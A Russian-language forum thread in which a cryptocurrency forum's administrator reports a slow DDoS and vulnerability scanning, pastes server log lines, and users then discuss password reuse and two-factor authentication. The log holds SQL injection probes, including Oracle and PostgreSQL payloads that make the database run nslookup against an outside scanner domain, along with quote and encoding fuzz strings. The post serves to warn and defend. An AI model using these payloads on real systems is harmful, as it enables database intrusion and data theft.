Хакерские атаки на форум

Кто то пакостит - пускает медленный ддос и сканирует форум на уязвимости.

Код:

[client 194.48.97.104] File does not exist: bitalk.org/data/attachments/16||UTL_INADDR.get_host_address('dns.'||'sqli.058417.275-72211.275.52b39.1.bxss'||'.me'), referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/attachments/'||UTL_INADDR.get_host_address('dns.'||'sqli.058417.275-72212.275.52b39.1.bxss'||'.me')||', referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/attachments/16;copy (select '') to program 'nslookup dns.sqli.\\058417.275-72213.275.52b39.\\1.bxss.me', referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/attachments/16';copy (select '') to program 'nslookup dns.sqli.\\058417.275-72214.275.52b39.\\1.bxss.me, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/attachments/22', referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/1'", referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/\\, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/@@8uMwi, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/JyI=, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/\xbf'\xbf", referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/\xf0''\xf0"", referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/1'", referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/\\, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/@@zQVmV, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/JyI=, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/\xbf'\xbf", referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/\xf0''\xf0"", referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/1'", referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/\\, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/@@sjAFN, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/JyI=, referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/\xbf'\xbf", referer: https://bitalk.org
[client 194.48.97.104] File does not exist: bitalk.org/data/\xf0''\xf0"", referer: https://bitalk.org

Если форум вдруг начинает медленно работать - пишите в чате или мне в ЛС.

 

Насчет взломов - смысл есть, чтобы подобрать пароли к биржам. Так, в прошлом году битс.медиа взломали.
Понятно, что форум не хранит пароли в открытом виде, но хеш можно подобрать, ведь большинство продолжают использовать слабые пароли, думая, что добавление пары цифр вида neo123 или MaksiM1990 их защитит. И такие же пароли ставят на почты и акки бирж.
Хакеры также могут не угонять базу, а поправить скрипты и перехватывать пароли в процессе авторизации.

Хоть я и принял кое какие нетривиальные меры по защите, понятно, что при желании взламывается все.

Что касается медленного ддоса - это чистое вредительство. Такой ддос не ставит целью положить сайт, его задача затормозить работу сайта, чтобы медленнее открывались страницы. Подобным есть смысл заниматься конкурентам или недоброжелателям.

 

Кстати, в истории с Битс Медиа как раз перехватывали пароли.

Лишний аргумент в пользу того, чтобы не использовать везде один и тот же пароль. И даже похожие с добавлением или изменением последней цифры.

 

Главное, чтобы такой же пароль не был установлен на почте.

 

Серьезно, ты двухфакторку на почтовый ставишь? Или только при смене IP?